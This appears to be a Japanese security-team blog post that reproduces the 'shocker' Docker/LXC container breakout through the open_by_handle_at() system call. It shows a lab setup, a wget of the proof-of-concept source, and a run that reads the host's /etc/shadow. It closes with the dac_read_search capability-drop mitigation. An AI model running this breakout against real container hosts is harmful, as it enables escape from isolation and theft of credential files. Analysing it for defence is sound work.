スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Container Breakoutの方法

タイガーチームセキュリティレポート

Container Breakoutの方法

先日、Sebastian KrahmerがDocker(大雑把に言ってLXCのwrapper的なものです)の外にあるファイルにアクセスする手法を公開していたので検証してみました。

この手法はopen_by_handle_at()というsystem callを利用してbind mountしたディレクトリと同じファイルシステムにある任意のファイルにアクセスするものですが、Dockerの脆弱性というより設定の不備に属する問題です。


-知識-

まずこの手法の前提知識について確認しておきます。Linux Kernelのopen_by_handle_at()という(おそらくあまり使われていないであろう)system callはname_to_handle_at()と対になるものです。以下、プロトタイプです。

       #define _GNU_SOURCE          /* See feature_test_macros(7) */
       #include 
       #include 
       #include 

       int name_to_handle_at(int dirfd, const char *pathname,
                             struct file_handle *handle,
                             int *mount_id, int flags);

       int open_by_handle_at(int mount_fd, struct file_handle *handle,
                             int flags);

この2つのsystem callはopen_at()でfile descriptorを取得する処理を2つのステップに分割したようなものです。通常は、name_to_handle_at()でopenしようとするファイルを指定するfile handleを取得しそのfile handleをopen_by_handle_at()に渡して実際にファイルをopenするという流れになります。file handleは一種のcookieのようなものです。

しかし、この2つは必ずしもこの順番で呼び出す必要はありません。Kernelから取得するfile handleの値を推測可能である場合はname_to_handle_at()をスキップしてopen_by_handle_at()で指定するファイルを直接開くことができるからです。pathnameを指定する必要がないので、一定の条件下ではsandbox外のファイルにアクセスすることが可能になります。

ただし、open_by_handle_at()する場合は、mount_fdを指定する必要があります。これはfile handleで指定したファイルと同じfilesystem上のobjectに対するfile descriptorです。したがって、file handleで指定したファイルを開くためには、そのファイルと同じfilesystem上にあるファイルまたはディレクトリをどれか1つでもopenできる必要があります。

file handleの定義は以下です。

           struct file_handle {
               unsigned int  handle_bytes;   /* Size of f_handle [in, out] */
               int           handle_type;    /* Handle type [out] */
               unsigned char f_handle[0];    /* File identifier (sized by caller) [out] */
           };

file_handleはopaqueなデータ型です。f_handleに格納されるデータはfilesystemごとに個別に実装することができます。通常はgeneric実装がそのまま使われるため、最初の4バイトが指定するファイルのinode number、その次の4バイトがgeneration numberに相当します。

static int export_encode_fh(struct inode *inode, struct fid *fid,
                int *max_len, struct inode *parent)
{
        int len = *max_len;
        int type = FILEID_INO32_GEN;

        if (parent && (len < 4)) {
                *max_len = 4;
                return FILEID_INVALID;
        } else if (len < 2) {
                *max_len = 2;
                return FILEID_INVALID;
        }

        len = 2;
	fid->i32.ino = inode->i_ino;
        fid->i32.gen = inode->i_generation;
        if (parent) {
                fid->i32.parent_ino = parent->i_ino;
                fid->i32.parent_gen = parent->i_generation;
                len = 4;
                type = FILEID_INO32_GEN_PARENT;
        }
        *max_len = len;
        return type;
}

とくに、root filesystemの / のinode numberとgeneration numberは予測可能(それぞれ2と0)なので、/ のfile handleも予測可能であることになります。また、ファイルのinode番号だけがわかっている状況であれば残りの32bitをopen_by_handle_at()で総当りすることで短時間のうちにfile handleを見つけることができます。

これらのsystem callは実用上あまり役に立たないように見えるかもしれませんし、実際これらを一般ユーザが使用することはほとんどないと思いますが、file handleはNFS(Network File System)で"stateless"なプロトコルを実装するために活用されています。NFSプロトコルは"stateless"です。大事なことなので2度言いました。


-デモ-

実際にSebastian KrahmerのPOCをLXCで検証してみます。今回は/etc配下のファイルが見えない(はず)の設定のcontainerから/etc/shadowを開き、ファイルの内容を読みだしてみます。

以下の検証は、Ubuntu 14.04で行いました。Kernelのバージョンは3.13.0-30-genericです。

まずは/lxc配下にcontainerを構築します。

root@trusty:~# mkdir -p /lxc/rootfs/{bin,sbin,lib,lib64,usr,dev,dev/pts,proc,sys}
root@trusty:~# cd /lxc
root@trusty:/lxc# cat << EOF > lxc.conf
> lxc.rootfs = /lxc/rootfs
> lxc.mount = /lxc/fstab
> EOF
root@trusty:/lxc# cat << EOF > fstab
> /bin /lxc/rootfs/bin none ro,bind 0 0
> /sbin /lxc/rootfs/sbin none ro,bind 0 0
> /lib /lxc/rootfs/lib none ro,bind 0 0
> /lib64 /lxc/rootfs/lib64 none ro,bind 0 0
> /usr /lxc/rootfs/usr none ro,bind 0 0
> /dev /lxc/rootfs/dev none rw,bind 0 0
> /dev/pts /lxc/rootfs/dev/pts none rw,bind 0 0
> /proc /lxc/rootfs/proc proc defaults 0 0
> /sys /lxc/rootfs/sys sysfs defaults 0 0
> EOF
root@trusty:/lxc# lxc-create -n lxc -f lxc.conf

つぎに、POCを/lxc/rootfs配下にコピーします。

root@trusty:/lxc# wget -q http://stealth.openwall.net/xSports/shocker.c
root@trusty:/lxc# cc -Wall -std=c99 -O2 shocker.c -static
shocker.c: In function ‘main’:
shocker.c:163:6: warning: ignoring return value of ‘read’, declared with attribute warn_unused_result [-Wunused-result]
  read(0, buf, 1);
      ^
root@trusty:/lxc# ls
a.out  fstab  lxc.conf  rootfs  shocker.c
root@trusty:/lxc# mv a.out rootfs/shocker

これで準備はOKです。containerの中でbashを起動して、POC (shocker) を実行してみましょう。

root@trusty:/lxc# lxc-execute -n lxc bash
init.lxc: failed to mount /dev/shm : No such file or directory
bash-4.3# cat /etc/shadow
cat: /etc/shadow: No such file or directory
bash-4.3# touch .dockerinit
bash-4.3# ./shocker        
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[*] Found media
[*] Found run
[*] Found sys
[*] Found srv
[*] Found var
[*] Found usr
[*] Found home
[*] Found lxc
[*] Found lost+found
[*] Found etc
[+] Match: etc ino=524289
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found .
[*] Found ..
[*] Found cron.monthly
[*] Found bash_completion.d
[*] Found rc6.d
[*] Found skel
[*] Found gnome
[*] Found cron.hourly
[*] Found brltty
[*] Found modules
[*] Found popularity-contest.conf
[*] Found group-
[*] Found adduser.conf
[*] Found resolvconf
[*] Found sensors3.conf
[*] Found blkid.conf
[*] Found cracklib
[*] Found chatscripts
[*] Found sysctl.d
[*] Found cupshelpers
[*] Found gdb
[*] Found insserv.conf.d
[*] Found update-notifier
[*] Found mtab
[*] Found subuid-
[*] Found logrotate.conf
[*] Found at-spi2
[*] Found systemd
[*] Found rc2.d
[*] Found modprobe.d
[*] Found apparmor
[*] Found ltrace.conf
[*] Found avahi
[*] Found udisks2
[*] Found resolv.conf
[*] Found wpa_supplicant
[*] Found ld.so.cache
[*] Found .pwd.lock
[*] Found hp
[*] Found ssh
[*] Found subgid
[*] Found NetworkManager
[*] Found dnsmasq.d
[*] Found manpath.config
[*] Found sgml
[*] Found localtime
[*] Found mailcap
[*] Found insserv.conf
[*] Found subuid
[*] Found default
[*] Found ghostscript
[*] Found dnsmasq.d-available
[*] Found rmt
[*] Found logcheck
[*] Found wgetrc
[*] Found updatedb.conf
[*] Found fstab
[*] Found netscsid.conf
[*] Found libnl-3
[*] Found apparmor.d
[*] Found insserv
[*] Found environment
[*] Found ca-certificates.conf
[*] Found lxc
[*] Found doc-base
[*] Found upstart-xsessions
[*] Found rsyslog.conf
[*] Found gconf
[*] Found firefox
[*] Found obex-data-server
[*] Found init.d
[*] Found update-motd.d
[*] Found python3
[*] Found alternatives
[*] Found usb_modeswitch.conf
[*] Found rc4.d
[*] Found apport
[*] Found colord.conf
[*] Found mtools.conf
[*] Found libaudit.conf
[*] Found selinux
[*] Found sudoers.d
[*] Found hostname
[*] Found magic.mime
[*] Found legal
[*] Found shadow-
[*] Found anacrontab
[*] Found ucf.conf
[*] Found newt
[*] Found host.conf
[*] Found security
[*] Found sysctl.conf
[*] Found aptdaemon
[*] Found signond.conf
[*] Found ppp
[*] Found gai.conf
[*] Found protocols
[*] Found kernel
[*] Found rc1.d
[*] Found mailcap.order
[*] Found blkid.tab
[*] Found speech-dispatcher
[*] Found pam.d
[*] Found modules-load.d
[*] Found ssl
[*] Found gshadow
[*] Found vtrgb
[*] Found brltty.conf
[*] Found ld.so.conf
[*] Found profile.d
[*] Found pulse
[*] Found emacs
[*] Found iftab
[*] Found debconf.conf
[*] Found zsh_command_not_found
[*] Found screenrc
[*] Found magic
[*] Found initramfs-tools
[*] Found shells
[*] Found mtab.fuselock
[*] Found pki
[*] Found signon-ui
[*] Found issue
[*] Found timezone
[*] Found bindresvport.blacklist
[*] Found pcmcia
[*] Found passwd
[*] Found cron.weekly
[*] Found cron.d
[*] Found fstab.d
[*] Found X11
[*] Found sensors.d
[*] Found crontab
[*] Found pam.conf
[*] Found dictionaries-common
[*] Found apg.conf
[*] Found fuse.conf
[*] Found vim
[*] Found grub.d
[*] Found network
[*] Found deluser.conf
[*] Found dconf
[*] Found hosts.allow
[*] Found perl
[*] Found update-manager
[*] Found xul-ext
[*] Found apm
[*] Found nanorc
[*] Found cron.daily
[*] Found ld.so.conf.d
[*] Found dpkg
[*] Found libreoffice
[*] Found samba
[*] Found networks
[*] Found usb_modeswitch.d
[*] Found bash.bashrc
[*] Found hosts
[*] Found python
[*] Found gtk-3.0
[*] Found logrotate.d
[*] Found rsyslog.d
[*] Found rc3.d
[*] Found sane.d
[*] Found os-release
[*] Found mke2fs.conf
[*] Found lintianrc
[*] Found debian_version
[*] Found fonts
[*] Found terminfo
[*] Found bash_completion
[*] Found brlapi.key
[*] Found pnm2ppa.conf
[*] Found python3.4
[*] Found profile
[*] Found gnome-app-install
[*] Found ifplugd
[*] Found compizconfig
[*] Found hdparm.conf
[*] Found polkit-1
[*] Found opt
[*] Found ldap
[*] Found ca-certificates
[*] Found locale.alias
[*] Found gshadow-
[*] Found hosts.deny
[*] Found passwd-
[*] Found python2.7
[*] Found rc0.d
[*] Found xml
[*] Found init
[*] Found depmod.d
[*] Found apt
[*] Found rpc
[*] Found thunderbird
[*] Found drirc
[*] Found shadow
[+] Match: shadow ino=530205
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x1d, 0x17, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x1d, 0x17, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
daemon:*:16177:0:99999:7:::
bin:*:16177:0:99999:7:::
sys:*:16177:0:99999:7:::
sync:*:16177:0:99999:7:::
games:*:16177:0:99999:7:::
man:*:16177:0:99999:7:::
lp:*:16177:0:99999:7:::
mail:*:16177:0:99999:7:::
news:*:16177:0:99999:7:::
uucp:*:16177:0:99999:7:::
proxy:*:16177:0:99999:7:::
www-data:*:16177:0:99999:7:::
backup:*:16177:0:99999:7:::
list:*:16177:0:99999:7:::
irc:*:16177:0:99999:7:::
gnats:*:16177:0:99999:7:::
nobody:*:16177:0:99999:7:::
libuuid:!:16177:0:99999:7:::
syslog:*:16177:0:99999:7:::
messagebus:*:16177:0:99999:7:::
usbmux:*:16177:0:99999:7:::
dnsmasq:*:16177:0:99999:7:::
avahi-autoipd:*:16177:0:99999:7:::
kernoops:*:16177:0:99999:7:::
rtkit:*:16177:0:99999:7:::
saned:*:16177:0:99999:7:::
whoopsie:*:16177:0:99999:7:::
speech-dispatcher:!:16177:0:99999:7:::
avahi:*:16177:0:99999:7:::
lightdm:*:16177:0:99999:7:::
colord:*:16177:0:99999:7:::
hplip:*:16177:0:99999:7:::
pulse:*:16177:0:99999:7:::
acruel:blah blah blah:16234:0:99999:7:::
lxc-dnsmasq:!:16267:0:99999:7:::

bash-4.3#

IYH! containerの外にある/etc/shadowを読むことができました。出力内容からも明らかですが、この場合(filesystemがext4)はopen_by_handle_at()を呼び出すときのgeneration numberは0でも問題ないようなので、file handleの総当りは一瞬で終わっちゃいます。

このPOCは最初に作成した.dockerinitという空ファイル(mount_fdとして使う)と、あらかじめわかっている / のfile handleをもとに / の各エントリを読み込み、以後ディレクトリの各エントリのinode numberからfile handleを推測することを再帰的に繰り返していきます。この方法で同じfilesystemの任意の深さにあるファイルのfile handleを取得できます。ここでは / -> etc -> shadow の順にfile handleを取得して目的を達成しています。

この攻撃に対する対策は単純です。LXCだとlxc.confにlxc.cap.drop = dac_read_searchの設定を追加して、open_by_handle_at()に必要なCAP_DAC_REA_SEARCH capabilityをdropすれば良いだけです。実際にこの設定を追加したあとにexploitできなくなっていることを確認します。

root@trusty:/lxc# lxc-execute -n lxc bash
init.lxc: failed to mount /dev/shm : No such file or directory
bash-4.3# ./shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
bash-4.3#

対策は有効なようですね DockerあるいはLXCを使ってcontainerの中でアプリケーションを動作させる際の権限の設定には注意が必要です。設定が不十分だとアプリケーションがcontainerの外にあるリソースアクセスできてしまい、セキュリティ上の問題になります。


参考情報:
[1] Open by handle [LWN.net]
http://lwn.net/Articles/375888/
[2] open_by_handle_at(2) - Linux manual page
http://man7.org/linux/man-pages/man2/open_by_handle_at.2.html


タイガーチームメンバー 塚本 泰三